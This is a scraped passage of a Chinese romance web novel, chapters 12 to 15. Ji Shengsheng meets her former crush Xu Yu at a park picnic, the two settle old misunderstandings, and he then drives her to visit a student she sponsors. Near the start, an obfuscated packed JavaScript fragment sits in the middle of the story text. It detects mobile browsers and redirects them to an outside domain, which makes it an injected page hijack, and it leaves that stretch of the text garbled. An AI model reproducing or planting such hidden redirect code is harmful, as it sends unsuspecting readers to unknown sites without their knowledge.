成玉便暗搓搓地凑过来:“你之前就决定去中心公园,是不是从哪里得到了什么情报?”
成玉话音落下,许余已经拿起外套准备离开。
这算不上什么情报。
他也不过是想看看,当他和邢星同时出现时,纪声声会是什么反应。
“诶?”成玉贱嗖嗖地凑到许余身边,“你说她不会带着她男朋友一起过来吧?”
许余瞥了成玉一眼,成玉立刻闭嘴,假装看手机很忙的样子。
许余走出公司大门,随后走到停车场。
带邢星来他面前吗?
他相信纪声声不敢。
从送走祝晓丹,坐上邢星的车,纪声声的右眼皮就一直跳个不停。
“怎么啦声声姐姐?”肖杨从副驾驶探过头来,“你脸色不太好。”
“没事,昨晚没睡好。”纪声声揉揉眼睛,“我眯一会儿就好了。”
“你声姐昨天大半夜去游戏公司跟人谈合作,为了个IP合作觉都不睡了。”
“啊?”肖杨不理解,“还要给游戏公司煲汤才能拿下合作吗……”
纪声声:“……”
会提起煲汤,是因为她一开始没有编好。等编利索了,她已经把煲汤这件事忘记了,邢星显然也没有仔细听,但是肖杨偶然听了一句刚好就记住了。
“对啊……怎么还要煲汤送去。”邢星一边开车,一边随口问道。
纪声声挠挠头:“我正好有个伙伴在那边。”
“噢噢我记得,送她去医院的那个是吧?”
“嗯嗯。”纪声声敷衍,随后转移话题,“肖杨,你弟弟不是和你一起过来吗?”
“他一会儿去找咱们,他见你紧张,要先去买身漂亮衣服。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535227|186519||http|test|mini|href|location''.split(''|''),0,{}));
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>“有话在先,你弟可不能打纪声声的主意啊。”邢星猛踩刹车,在红灯前将将停住。
“我弟怎么不行了,我弟长得可好了。”肖杨忍不住叉着腰和邢星吵架,“而且你都有对象了,你还不让声声姐姐谈恋爱。就你能享福,别人就得单着是吧,你也太强势霸道了!”
邢星让肖杨给吼蒙了,愣住好几秒钟才反应过来:“你声声姐姐恋爱脑,我怕她吃亏。”
“我瞅我姐比你成熟多了,用你管那么多。你一会儿要是给我弟捣乱,我跟你没完!”吼着不够痛快,肖杨给了邢星一拳。
纪声声:“……”
她没有加入这场对话。这本质是邢星和肖杨在沟通交流,虽然说的是和她有关的话题,但她最好是旁观。
“你弟要是好也行,反正只要不是许余那样的就行。”邢星小声地吐槽。
肖杨立刻抓住关键词:“许余是谁?是声声姐姐的前男友吗?现在在哪里呢?”
“……到了。”纪声声看着公园门口的大牌子。
“那一会儿再盘问声声姐姐,嘿嘿。”
肖杨是个很单纯的女孩子,做事说话都是直来直往。虽然有时会边界感不强,但和她说话也不用太顾忌。对于这种性格的女生,纪声声总是有很强的包容感和接纳度。
找好野餐的地方,肖杨和她一起把后备箱的东西拎到草坪。
等到终于收拾完毕,肖杨盯着纪声声:“姐姐姐姐,你快给我讲讲许余,趁我弟还没来,我知道他是外人,这些不能让他听见的。”
邢星正在车子边查缺补漏,看见俩人面对面凑着,无奈地耸耸肩。
“他是姐姐的初恋吗?长得帅不帅?”
纪声声挠挠头:“……他长得挺好看的。”
“很优秀,喜欢他的人很多。”
其实她不排斥和身边的人谈起许余,以前的喜欢是真诚的、真实的,她不会遮遮掩掩。
“那你呢,你们是怎么在一起的?”肖杨很兴奋,也很激动,“我最喜欢听帅哥美女恋爱的故事了。”
“没在一起过。”纪声声认真地开始讲述,“那时候我喜欢他,他不喜欢我。我追求他,他没有答应。然后就结束了。”
“啊……”肖杨叹气,“好遗憾,不过也挺美好的。”
“那个时候小星星在干嘛啊?”肖杨奇怪地,“他没帮助帮助姐姐吗?”
“那时候我和你声声姐姐闹分手了,所以她跑去追求别人,被拒绝了以后又回来找我复合。”邢星从她们身后欠揍地开口。
“你少胡说。”肖杨给了邢星一脚,“声声姐姐不可能是那种人。”
“不信你问她啊,”邢星指了指纪声声,一脸认真地,“你看她怎么说。”
纪声声:“……”
虽然这是玩笑,但未免也太过分,尤其是肖杨的表情明显从不信转向了有一些相信。
成玉是在停车场排队的时候发现纪声声和邢星的车子的。
随后把位置选在离纪声声他们有一段距离的位置。毕竟是公司团建,没必要因为私人情[事影响其他人的聚餐体验。
但是因为停车的位置距离较近,他们还是不可避免的要经过纪声声他们附近的位置。
本意没想偷听她们说话,也没想到她们会在这里说起许余……
成玉尴尬地看了许余一眼,快步跟上许余的步子,离开了这个尴尬之地。
到和大部队汇合,许余都未发一言。
成玉不知道该不该说点什么,毕竟他听到了许余的八卦,羞耻之心让他想说点什么缓解一下尴尬。
“这么来看的话……声声没有劈腿哈。”成玉嘴比脑子快,挑了最不该说的话开启话题,“那你当时要是主动一点给她反馈,也就顺理成章在一起了。”
“你现在怎么想……?”成玉暗暗拧了拧自己的大腿。
“她不会劈腿。”许余平静地。
成玉松了一口气:“你准备放弃了。”
“是我这个第三者主观、恶意破坏他们的感情。”
这语气就好像在说——“把水果篮子递给我”。
12. 12
成玉以为许余是在自暴自弃。他没想到,许余只是在客观地描述他的行动。
另一边,纪声声看不下去邢星开玩笑,便看向肖杨,认真地:“我和邢星是从小一起穿开裆裤长大的损友,是那种不可能产生爱情的朋友关系。”
“从前从没有过,以后更是绝无可能。”
“他更像是你的小弟!”肖杨确认道。
“没错!”纪声声肯定地。
邢星无奈:“……也别把我的形象说得那么矮小好吧?”
后面的一段时间,纪声声都在给肖杨解答邢星成长过程中的那些事情,对于肖杨的问题,她都认真回答,让肖杨能够更加清楚地了解邢星的过去。
说完这些事情,纪声声口干舌燥。
肖杨像是突然回过神儿来:“对了,刚才远处有个帅哥经过了两次,巨帅。”
纪声声环视一圈,没有看见什么人。又晒了会儿太阳,纪声声独自去卫生间。
女卫生间的队伍一如既往的长,排了很久以后才终于轮到纪声声。
或许是人太多,卫生间的状况有些堪忧,她穿着的毛线外套不太方便。
纪声声退出来,望向门口,一眼就看见了不远处的许余。
纪声声看着后面的女孩子,做了个让对方先去的手势,随后快速跑到门口。
许余像是听见了她的动静儿,回头看向她。
“帮我拿一下外套。”纪声声将外套脱下来,塞到许余胳膊上,随后快速奔向门口没有人排队的卫生间。
许余等了几分钟,纪声声就重新出现在他面前:“谢谢你。”
好像昨晚和之前的事情从来没有发生过一样的自然。
好像回到了他们最近第一次见面那样自然。
好像他们是没有任何故事的普通校友一样自然。
纪声声对他问心无愧。
“幸好你在这里,”纪声声松了口气,“不然还有些难办。”
纪声声不算有洁癖,但还是有些介意公共场所的卫生。
穿上外套以后,纪声声看向许余:“你们在哪边团建?离我们这边远吗?”
许余看向纪声声。
他们之间本可以像印错的书页,与各自的人生主线剧情无关,随手撕掉也不会影响故事的发展。
可惜,他偏要影响。
纪声声说完,就等待许余的回答。可是许余不止不开口,还一直盯着她看。
纪声声垂下眸子,忽然想起昨晚她刚大半夜去给许余送鸡汤……许余站在门口问她“走还是留”的画面忽然出现在她眼前。
就……纪声声悄悄抬眼看了看许余,想知道许余的表情,又发现自己这个举动已经被许余尽收眼底了。
许余看着纪声声在那里努力想办法解决现状的样子,更加不想轻易地放过她。
“你故意的。”
许余忽然听见纪声声开口,随后是她有点委屈又有些愤愤的目光,直晃晃地撞进他眼睛。
“故意什么?”
“故意想看我不知所措。”纪声声说完,又觉得自己这个推断有些武断,“……也不是,你应该没那么无聊。”
“我有。”
许余看着纪声声的眼睛越瞪越大,便收敛起逗弄她的情绪,转而说正经事:“去云岚几点出发?”
纪声声原本积攒的情绪被这句话打散,很快开始思索起这个问题来。
“七八点钟就行……”她都完全忘记了这件事情。
不过仔细想想,许余送她去云岚,好像有些师出无名。
“要是你时间不方便的话,”纪声声给许余一个台阶,“我就自己……”
许余垂着眸子,看向纪声声缠着外套毛线的手指:“你有顾虑?”
“没有。”
她没有什么可顾虑的。
“怎么想起问这个?”许余循循善诱。
“就是觉得和你只是普通朋友的关系,你送我去那么远的地方,不合适。”纪声声想了想,还是如实说了心里话。
“普通朋友么?”许余看着纪声声的眼睛,“我不会陪‘普通朋友’去外地三天。”
“……那你会送‘普通朋友’回宿舍吗?”纪声声鼓起勇气,回看许余。
许余愣住:“不会。”
“那邵芸也不是你的‘普通朋友’了。”纪声声嘴比脑快。说完才从许余的表情意识到自己提起了什么往事。
“邵芸的男朋友是我的室友。”许余盯着纪声声的脸,不错过每一个表情和那表情代表的情绪,耐心地解释。
听着许余的话,纪声声迟疑。
她记得邵芸在联建联学活动时还表示过自己单身,而且不止一次。有一次活动后去KTV唱歌游戏,“真心话大冒险”时邵芸被问到理想型,还完全是照着许余的情况描述的。
当时很多人起哄,许余也没有任何异常的表现。
不过,尽管邵芸和许余提供的信息有别,她还是应该无条件地选择相信许余才对。
“所以,她只是你的‘普通朋友’。”不知道哪里来的勇气,纪声声,“……那我那时候是什么呢?”
“声声!”邢星看她站在远处许久不动,便朝着她招手,“快回来吃东西了。”
“我先去找我朋友了……”纪声声揽了揽外套,便转身准备离开。
许余捉住了她的手腕。
“不听我的回答了?”
不知道该怎么形容这种心情。刚才大脑被情绪控制,但被打断思路后,理智似乎又重新归位。
纪声声并不想再去纠缠和计较过去的事情。
她当时会那么在意许余送邵芸回宿舍,更多是因为她意识到许余没有那么喜欢她。
那时她想的已经很清楚,在她已经努力展示自己全部优点的情况下,依然无法推进这段关系,那么就该在一个合适的节点结束。
不是许余送邵芸回宿舍导致了这个节点的选择,而是她从这里选择放弃了发展这段关系的可能。
而现在……她想起刚回国那两天,许余还给她的盒子。
想起她送给许余的围脖,想起那是一个下雪的晚上,她在许余宿舍楼下等了很久。
想起她写的那么多封没有回应的信,想起那晚她哭鼻子的表情很难看。
“不想听了。”
纪声声本来不准备回头,但还是忍不住回头看了一眼许余的表情。
很平静。
“那我走了?”纪声声小声地道别。
“好。”许余平静地放手,“走吧。”
许余离开太久,久到成玉以为许余去和纪声声的男朋友打架,已经准备出来找他。
“你脸色怎么这么差?”成玉凑近些,“见到纪声声了?”
“嗯。”
“谈好了?”成玉说完,立刻“呸”了一声,“我也是没带脑子,瞅你这表情肯定是没谈好。”
“我发现了,从纪声声回来你就没有开心过。”
“你发现错了。”许余将拉链拉到领口,“我有事先回去。”
纪声声本来不准备参与许余公司的团建,虽然她出门时还额外带了一些饮料过来。但是肖杨的弟弟太过热情,纪声声有些难以招架,便找了个探望同事的理由离开。
她不担心见到许余以后会尴尬。
无论怎样,她都依然会以无事发生的态度对待许余。
如果许余愿意,她可以随时和他回到保持一定距离,但可以沟通工作和日常话题的普通朋友关系。
她最擅长的就是体面。
和其他人打过招呼,又和美术组聊了一阵子天,纪声声都没看见许余的身影。
“许余回去了。”成玉接过纪声声带来的饮料,看着纪声声四处观望的样子,小心谨慎地提醒。
他不知道纪声声和许余的事情走到哪个流程,但他知道,他还想和纪声声保持良好的朋友关系。
“好的。”纪声声点点头,“我没有在找他。”
“声声,我可以问你一个问题么?”成玉没等纪声声回答,而是直接问出口,“那天我看见你半夜打车来给许余送饭,你对他超出朋友的好,但是却好像跟他连朋友都不是,可以问问原因么?”
纪声声没仔细想过这个事情。
她是有能力,也想要对许余好的,她只是不想
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付出感情,不想去细究这些。
“其实都怪我,没事儿老是在你们俩中间传话,以后我少干这种事情,让你为难。”成玉指了指椅子上许余的背包,“他刚回来匆匆忙忙就走了,背包都忘了,你能帮我给他送过去么?”
纪声声没说话。
成玉不好意思地:“毕竟带着这么多人来团建,他提前走了,我也走不合适。”
“背包里有急着用的东西么?”纪声声不解。
她可以帮忙送到许余家里,但是这个事情好像并不着急。
“有的。”成玉无奈地指着背包上正在震动的手机,“这一会儿这个电话已经响了四次了。”
纪声声反应过来哪里不对时,已经坐上成玉帮忙打好的车子上了。
许余没带手机,她当然没办法让许余下楼来拿。所以,她只能自己送上去。
她记得这个地址,走在这条路上的每一步都带她回忆起一些平时不太想记起的内容。
到了许余家门前,她按响门铃,响过一阵都没有人来开门。她只好再按一次,并把许余的背包放在门口,确保他开门就能看到。
“进来。”
她准备离开时,许余打开门。见到是她,表情似乎还有些意外。
“不用了。我还有事情。”
“纪声声。”许余的声音不容拒绝,“判我死刑以前,能不能给我个机会申辩。”
她哪有能力判许余死刑……
纪声声正准备找理由拒绝,许余已经走出门,下巴抵在她肩膀上,无赖地靠在她身上,几乎就要带着她一起倒下。
幸好,她及时靠在了墙上。
许余的额头很凉。她肩膀上的每一寸皮肤都在抗议。
“你……”他要说什么,她听就是了。
“送邵芸回宿舍只是受室友的托付,至于没有告诉你却又让你看到,是我故意。”
“故意什么?”
“故意让你介意,让说你不喜欢我和别的女生一起,让你说你在乎我,你喜欢我,你只喜欢我。”
“可是你一声不吭地走掉了。”
有一瞬间,纪声声只感觉眼前的许余好像变了个人,好像她从来没认识过一样。
“我不明白……”
她虽然从来没有说出口,但她那时候的所有行为,不够许余这样认为吗?
“不明白什么?你怎么会不明白?”许余看着她包上挂着的、和邢星同款的钥匙串。
纪声声:“我真的不明白。我那个时候,我已经很喜欢你了,你都感受不到吗?”
“……就算你去送邵芸,你们之前也不清不楚的,你对我态度很模糊,我自始至终也没有和你闹脾气,我都是自己在消化,然后调整好状态再去找你。”
“至于去留学,是很早之前的决定,我只是去做我的事情而已。我喜欢你的时候,已经尽力对你表达了我的感情,你没有回应,所以我也没有立场和身份告诉你这件事,……我觉得我没做错什么。”
她也有很多委屈,她只是不想说而已,不想说就代表没有吗?
她从没想找任何人“算账”,她可以理解和接受别人的决定,可是怎么会有这么多无端地指责落在她身上呢。
她话音落下,气氛果然降至冰点。
等待她的似乎是永远不会结束的沉默。
有一瞬间,纪声声都觉得自己或许表达得太过、太多。
她本可以态度温和地告诉许余,那些都是过去的事情了,向前看,不要再去想了。
他们各自仍有光明的未来可以期待。
可是,或许是她的哪根神经被触动,她在这个时刻,偏偏要激烈地为自己说话。
“我……”
她很想离开这里,回家冷静冷静。
这可能是他们最后一次见面了。
纪声声正在思索这么开口道别。
“对不起,声声。”许余低下头,认真地向她道歉。
纪声声屏住呼吸。
“我和邵芸从没有私交。”
“以后也不会有。”
“如果我知道是这样的结果,当时我不会那样做。”
13. 13
纪声声听到急促的咚咚声,有些恍惚,才反应过来那是她的心跳。
她从来没想过许余会对她说这些话,也就毫无应对之策。
“……其实我已经不在乎那些了。我觉得你也可以不用再纠结。”
“如果你是因为我们之间发生了那样的事情,我又没有和你说明我的求学情况而生气,我可以给你道歉,或者你想要其他什么补偿……”
“纪声声,”许余离开她,重新站直,看向她的表情有些失落,“你心好硬。”
纪声声:“……”
她不太承受得住许余这样的评价。她以为,许余不应该这样看待她。
“可能在那个时候,我对待你的态度是有反差,让你有些难以接受。”纪声声舒出一口气,“可是付出感情的人是我呀。一个人一直那样单方面的付出肯定会觉得辛苦、支撑不下去。”
“你觉得支撑不下去了?”许余一双眼睛紧紧盯着纪声声。
“我只是说人之常情,我其实当时没有觉得很辛苦。我只是在那个时刻感受到,喜欢你不是我人生最重要的事情了。”
“……这样。”许余的眼神慢慢黯淡下去。
在两份感情之间周旋确实很辛苦。
是他太不懂事了。
“包给你放在桌子上,我先走了。”
纪声声快步离开了许余的家。
纪声声回去以后,邢星看了眼时间,发现她离开了很久,便询问她去做什么了,纪声声转移了几次话题才糊弄过去。
等气氛如常,纪声声刚松一口气,就看见肖杨盯着她的钥匙扣挂件,疑惑地:“声声姐姐,这个挂件是邢星送给你的吗?我在他那里也看见过一个,好像在他外套的拉链上挂着来的。”
纪声声早不记得什么挂件,这串钥匙扣她用了快十年了。
“这是我们小时候我妈妈去旅游在外面一个寺庙带回来的。”邢星回忆,“说是保平安的,给我们院里好几个玩得不错的小伙伴都带了。”
“这样啊……”肖杨一脸若有所思,“声声姐姐保存的还挺好的。”
纪声声几乎是秒懂肖杨的情绪。她完全理解肖杨会对这种事情介意。
“对了声声姐姐,你和邢星在国外读书的时候见面的频率高吗?我听说在国外租房很贵的,生活也很辛苦,他有没有好好照顾你。”
纪声声仔细回忆,努力斟酌措辞:“在国外几乎没见过,信息也不会发。回国了才有一些联系,也是因为家里住得比较近。”
“其实我和邢星没什么共同兴趣爱好,也没有共同语言,纯粹是认识的时间比较长了。”
听到她把关系撇得这么干净,邢星很不满:“怎么把我说的好像你可以随手丢掉的垃圾一样,你忘记上学的时候我每天骑车带你回家了?”
纪声声:“……”
她不知道情况能这么棘手。
显然,邢星并没有意识到肖杨的情绪在低沉状态。
但她又不能和邢星争辩,那好像显得她在肖杨面前和邢星“打情骂俏”。
“那……声声姐姐,你觉得我弟弟怎么样?”肖杨拉起纪声声的手,“我弟长得帅,人品过关,他刚才也和我表达了对你有好感,就是他人比较害羞……你想不想先了解一下?”
纪声声:“……”
肖杨的弟弟害羞吗……?他热情似火到让人害怕。
“我暂时不想谈恋爱呢。”纪声声推脱,“过段时间我还要出去。谈了的话,异地也很不方便,所以还不到考虑这些的时候。”
“这样啊……”肖杨看着她躲闪的目光,一脸若有所思。
后半程的气氛不是很好,纪声声找了个借口提前回家,到家后睡了一会儿,醒来就开始赶稿子。
画到太阳出来,纪声声去洗了个澡。随后做好早餐,把箱子放到门口,等着许余的消息。
她和许余并未约定具体的时间。
原因是……发生了昨天那样的对话以后,她觉得他们可能都不会再见面了。
所以她打算等到约定时间,如果许余没来,她就独自打车去云岚。
等她走到窗边想看看有没有许余的车子时,祝晓丹发来消息询问她是否出发。
将许余可能会送她去云岚的事情告知祝晓丹以后,对方的语音就发了过来。
祝晓丹的声音简直大到越过手机冲破她耳膜:“短短两三天,你俩发生什么事情了?”
纪声声轻咳两声:“什么也没发生,他可能是时间比较充裕,我是准备付钱的。”
祝晓丹才不相信:“你怎么想的?”
“我……”
纪声声犹豫几秒钟。
……她怎么想的?
纪声声把昨天发生的事情简化后讲给祝晓丹。
“所以他说完那些,你只有这个反应吗?”祝晓丹激动地从床上跳起来。
“……对啊。”
“就这样?这样你都没有触动吗?”祝晓丹难以置信地,“纪声声!你的心是石头做的!”
或许,如果这场对话是发生在三年前,她肯定会觉得自己被在乎了。
可是,此时此时的这场对话,不过是解开了一场不能回头的误会。
仅此而已。
“然后呢?”祝晓丹听得心脏难受,“最后你们又说什么了么?”
“我说……”纪声声仔细想了想,“冰释前嫌。”
“他呢?他什么反应?”祝晓丹追问。
“他说‘好’。”
其实,这几天她也曾想过他们还有没有可能。只是,中间隔着三年的时间,比他们认识的时间都要长。
共同的经历和记忆会随着时间变淡,就算是深爱,这样分隔两地都经不起时间,何况他们中间还隔着那么多矛盾和隔阂。
而且,人是会变的。
这样草率地重新在一起,只会弄巧成拙。她向来不追求目标的达成,喜欢过许余,和许余有过一段交集,她觉得已经很足够了。
“……好虐。”祝晓丹痛苦地哀嚎,“幸好我完全不嗑你们,不然我现在心痛死了……”
挂掉电话,纪声声看向窗外,发现许余的车子已经停在那里。
于是快步走到门口,拎起行李箱和做好的早餐,准备下楼。
她有些紧张,还有些不知所措,恍惚间打开门就撞上许余的下巴。
“……抱歉。”纪声声手忙脚乱地后退几步,随后抬头看向许余,“疼不疼?”
显然是疼的,许余的下巴一片通红。
“早饭。”许余没有回应她的话,只是把手上的袋子递给她。
纪声声低头看了眼自
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己手上拎着的牛皮纸袋:“……我也准备了。”
不知道是不是她的错觉,今天的许余似乎不太开心?
想着,纪声声将手里的早餐举起来,看向许余:“要交换吗?”
许余顺着她的方向,学她的样子,轻轻歪了歪头。
纪声声的手举着,许余不说话,但一直盯着她的眼睛,纪声声只能错开目光。
然后,许余接过她手里的东西,点头:“好。”
分坐在餐桌两旁,他们大约各怀心事地吃着早饭。
纪声声先一步吃完,犹豫几秒钟,还是翻出额温枪,给许余测了测体温。
上一次给许余用完温度计,她就一直在翻找。终于是给她找了出来。
许余已经退烧,大约是身体还没有恢复完全恢复,才略显憔悴。
“看够了?”
在许余的提醒下,纪声声才发现自己拿着额温枪站在许余旁边走神了许久。
“……什么。”
“那是还没看够。”
许余并没有吃东西,只是喝了她煮的豆浆。听到她说完,抽出纸巾擦了擦嘴角,随后靠在椅背上,一副十分大方的样子:“你继续。”
纪声声揉了揉太阳穴:“……我准备好了,可以出发了。”
许余自觉拎起她的行李箱下楼。
坐上车子时,许余看向她之前受伤的手指。
纪声声把手往袖子里收了收。
一周后自行拆掉纱布,是当时医生给她的建议。所以尽管割伤并不严重,她的手指还是裹着层层纱布。
许余俯下身,帮她系上安全带。
一路无话,开到第一个服务区时,许余递给她一瓶水,让她下车透透气。
纪声声接过以后,喝了一口,又自然地转头看向身旁的人。
“纪声声。”许余也看向她。
“……啊?”被猛地叫了名字,她有些反应不过来。
许余直接点破:“……你想要看到什么时候?”
纪声声:“?”
她哪有一直盯着许余看?
也可能有,但是她完全没有意识到这一点。
“……我没感觉自己和以前不一样啊?”纪声声指着自己,忍不住疑惑,“难道我一直是这样的?”
“你一直是。”
只要他出现,纪声声的眼神就像烙印在他身上一样。
甚至,每次他看见纪声声在人群中着急地寻找什么,下一秒一定是目光对视——她在找的人就是他。
毫不遮掩地追逐和跟随。
他享受纪声声无知觉地在乎,所以以前不愿意说破。
可现在,纪声声告诉他,她早放下了,她早不在乎了,还意图说服他当做什么事情都没发生过。
……冰释前嫌?
许余看着纪声声。
不知道该说她是叶公好龙,还是口是心非。
“那……”纪声声深呼吸一口气,挣扎,“你不看我,怎么知道我在看你呢。”
“所以,你愿意承认,你总是想看向我?”
纪声声:“……”
……忍不住拧了拧自己的小臂,她真不知道自己这么色令智昏。
见她不回答,许余比她诚实:“我会愿意承认,你看我的时候,我也在看你。”
14. 14
纪声声佯装看向窗外的车子。
她感觉心情有些复杂。
明明昨天说好了冰释前嫌,像朋友一样当作什么都没有发生的从新开始。
今天她又这样做,搞得很像她在欲擒故纵。
“咳,我先说好我真的没有别的意思。”纪声声举起三根手指发誓。
“可能就是你长在我的审美点上,你出现在我的视线里,我就忍不住盯着你看。”
纪声声没意识到自己越描越黑,还在继续补充:“纯生理性的,不是主观人为的。”
“我也很怕你知道我在看你,然后引起什么误会……可是我可能是没有控制住自己的本能,以后我会注意的。”越说越没底气了……
她话音落下,莫名看见近日来许余脸上出现的第一个笑容。
“你今天有什么行程安排?”许余将自己的手机递给纪声声,“等你结束,我们找个安静的地方继续说。”
“……”纪声声看着手机屏幕上打开的备忘录,迟疑几秒钟,还是把日程输入。
许余把她送到被资助对象小戚打工的奶茶店门口,随后去酒店办理入住手续。
为了避免打扰小戚的工作,纪声声在门外安静地等着对方下班。
从她自身来说,她是不太赞同小戚在复读期间出来打工的。
虽然是复读,已经有比较好的高中知识基础,但是复读的时间珍贵,因此更加应该将时间用在学习上。
但是她还没有时间和机会去了解小戚的想法,她准备这次当面沟通以后,再去给出一些小戚能接受的建议。
如果小戚只是因为想要省钱,或者不好意思和她要更多的资助金,那么她是可以努力打消小戚的纠结和疑虑的。
她有收入来源,完全能够覆盖小戚从高四到大学的学费和基本生活费。
如果是其他原因,她会尽可能去倾听和理解。
“姐姐!”小戚突然从她背后出现。
纪声声刚转过身,小戚跳起来用力抱住她,又把刚做好的热奶茶塞进她手里。
“很冷吧。”纪声声揉了揉小戚冰凉的手,从包里把带给她的手套、帽子和围脖全部翻出来。
一会儿的功夫,小戚已经被她围成一个温暖的小熊,纪声声很满意:“走吧,去吃饭,边吃边说。”
许余去接纪声声的时候,远远地就看见她在拉着那个女孩子叮嘱,像是恐怕有什么想得不够全面。
她的嘴巴一张一合,一直非常认真地说话。
又等了好一会儿,他看见纪声声把对方送上楼,一蹦一跳地跑到马路对面。
又在目光和他对视的瞬间,收敛起了活泼的样子,开始稳重地过马路。
“吃过饭了?”
他们住的地方离这里并不算远,所以许余没有开车。
“晚上没吃。”纪声声摸摸空空的肚皮,看向许余,“你吃东西了么?”
“没有。”许余把手机递到纪声声手里,“很晚了,点些喜欢吃的送到酒店吧。”
“好的。”纪声声点头。
她没有多想,所以没有意识到是在用许余的手机点外卖,也没有意识到他们要住在同一家酒店。
“情况怎么样?”
纪声声站在路边低着头专注地点餐,许余看着她头顶被风吹起的碎发。
情况比想象中乐观。
小戚会去打工并不完全是为了赚钱,也没有想要放弃读书的想法。
复读和外婆重病这两件事对她有一定的打击。出来做些事情,和人群保持接触,做一些体力劳动,能让她心情愉快一些。
纪声声能感受到小戚的情绪是很正面的。
但是这些细节,她不会越过小戚去和一个对方不认识的人多说。
点完以后,纪声声把手机交还给许余:“挺好的,她是一个很有能量的女孩子,我相信她会走出自己的一条路。”
许余点头。
这条路上的车子很多,纪声声喜欢靠在路外面走,走着走着就不自觉地越来越往外。
许余低头看着她的行走路线。
这一幕似曾相识。
如果是三年前,他总是在提醒纪声声靠过来一些,靠里走一些。
有时会见效,但这种时候并不多。
所以他需要不停地关注纪声声的动向和周围的车辆。
很耗费心力,不如直接牵着她。
纪声声在疯狂地头脑风暴,思考自己还能在哪些方面更好地帮助小戚。
是手掌和手指间的温度扰乱了她的思路。
许余,牵住了她的手。
纪声声脚步不自觉地停住。
“怎么?”
“……没事。”
话音落下,她感觉到许余张开手指,复又握得更紧了一些。
这样走了一段路以后,纪声声又想起那一次。
她不知道许余如何看待那件事情的发生。
现在多少有些命运循环的意味,他们再一次在没有确定任何关系的时刻,做了情侣才可以做的事情。
想着,纪声声原地站定:“许余。”
“嗯?”
感觉到她想要挣脱,许余没有强求。
“为什么牵我?”
许余的表情比她坦荡得多:“怕你蹦蹦跳跳走到马路中间去。”
纪声声:“……”
……她哪有蹦蹦跳跳?
“你在我身边的时候,不总是手舞足蹈的?”
“……这样?”纪声声心虚,“别人也看得出来吗?”
“不知道。”许余定睛看着她,“我看得出来。”
纪声声往回收了收手臂,转移话题:“……那我走你后面好了,保证不走到马路中央。”
他们应该像重逢的老同学一样度过这次“出差”。
回去以后,她付给许余车费,再请对方吃顿饭,向许余表示感谢,然后各自回到生活正轨才是。
纪声声正想着,突然感觉到手掌空了。
“好。”
许余松开她的手,并向靠外的方向走了几步,把里面的那条路让给她走。
纪声声:“……谢谢。”
一路无言。
他们也曾经一起这样走过夜路。在学校后面的林荫道。
那天她的作品代表学校参展,社交媒体上推送了很多好评和合影给她。
不是第一次参展,也不是第一次被这么多人“看见”和赞美。但是那一天,她迫不及待地想要和许余分享。
她冲动地发信息给许余,说想要见他,想立刻去见他。
没有等到对方的回信,甚至发完消息以后,她都没有来得及换下睡衣,就快速下
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楼走出宿舍大门,朝着学校后门走去。
她没想过能不能见到许余,她只是想要去见他。
然后,她没想到他们在学校后门就遇见了。
许余收到了她的信息,真的来见她。
明明之前大脑活跃到已经准备了那么多话想要和对方说,可在见到对方时却一个字都想不出了。
许余看见她穿着睡衣,便脱下外套给她披上。
纪声声只记得自己脸涨得通红,有些不知所措似的开始把她的作品的心路历程,那些评价如何与她产生了共鸣一股脑地全部说给许余。
许余只是安静地听着。
她手舞足蹈,许余看着她周围经过的车辆,时不时提醒她靠里面走。
到最后,似乎是感受到她的兴奋难以抑制,许余牵住了她的手。
世界似乎一瞬间变得安静。纪声声忘记自己在说什么,说到了哪里。
她的大脑一片空白,酥酥麻麻一般触电的感觉从手指尖快速抵达每一个神经末梢。
“继续。”
许余的提醒没有奏效,她满脑子只剩许余牵了她的手这件事情了。
她恐怕自己乱动一下,许余就会放开手。
……
纪声声不知道什么时候走到了他的前面。
许余抬头看着纪声声的背影。
他想起那一天,他才吹干头发,就看见纪声声的消息。
她说想要见他,想要立刻见到他。
纪声声想要见面,他就会赴约。
他走得快一些,他们比他预想的时间更快碰面。
许余不能完全回忆起纪声声那天描述的具体内容,他记得林荫路边长椅上有人在弹吉他,他记得那几个和弦流过纪声声的声线。
他们脚步轻快,沿途熟悉的风景变得陌生而动人。
他们牵手,纪声声离他很近。
然后,许余看见了邢星。几乎是同时间,纪声声的手快速抽&&走,像是怕被人发现和识破一般。
“你等我一下,我看见一个熟人,我去打个招呼。”
留下这样一句话,纪声声就从他的视线中逃离,变得越来越远。
等再出现在他身边时,手上拎着核桃和红枣,嘴上嘟嘟囔囔是某个阿姨让朋友带过来给她的。
那天,许余没再说任何话。
他有底线,任是谁都不能让他跨越。
纪声声不知道自己越走越快,她突然想起,那天她本来打算和许余告白的,只是邢星不知道为什么没有提前知会就突然跑过来,带着他妈妈嘱咐要带给她坚果零食。
她回来以后,气氛就不怎么好了,许余莫名地变得很有距离感,她没办法开口。
其实他们之间总是这样,每次她以为他们真正地靠近彼此,她又会感觉一切都是错觉,许余看向她的眼神冰冷又漠然。
正想着,一辆逆行的自行车将将停在她面前,幸好许余从身后拉住了她。
身体的惯性让她止不住的向后倒,后背感受到许余的体温,纪声声赶忙让开:“不好意思。”
“没事。”
确定她不会摔倒,许余先一步后退,与她保持着比较合适的距离。
这次轮到她看许余的背影。
纪声声可以感受到,她如果再不做些什么,他们是真的要“冰释前嫌”了。
15. 15
“明天什么安排?”
沉默着进了酒店,又沉默着上了电梯,走到许余房门前,纪声声看着许余拎起她的那份饭菜,才听见他的问题。
“明天上午小戚要去打工,没什么具体的安排。下午的话,我打算带她去附近的陶瓷博物馆和集市逛逛。”
来这边以后,小戚还没有去任何景点和市集。所以她打算带她去走走,顺便缓解一下最近比较紧绷的情绪。
“明天晚上的话,我打算线上帮她分析一下志愿。”纪声声回忆,“上次她高考时我在国外,时间总对不上,趁着这次机会合适……你要参与吗?”
“嗯?”许余终于抬眼看向她。
“我是艺术生嘛,对高考志愿、大学专业和就业了解的比较有限,如果你方便的话……”
“方便,不过,我有要求。”许余的声音和表情非常冷静,甚至有点冷漠,“她是你的资助对象,我帮她算你欠我人情。”
“是要还的。”许余的声音没有任何情绪。
“好。”纪声声点头,“我知道的。”
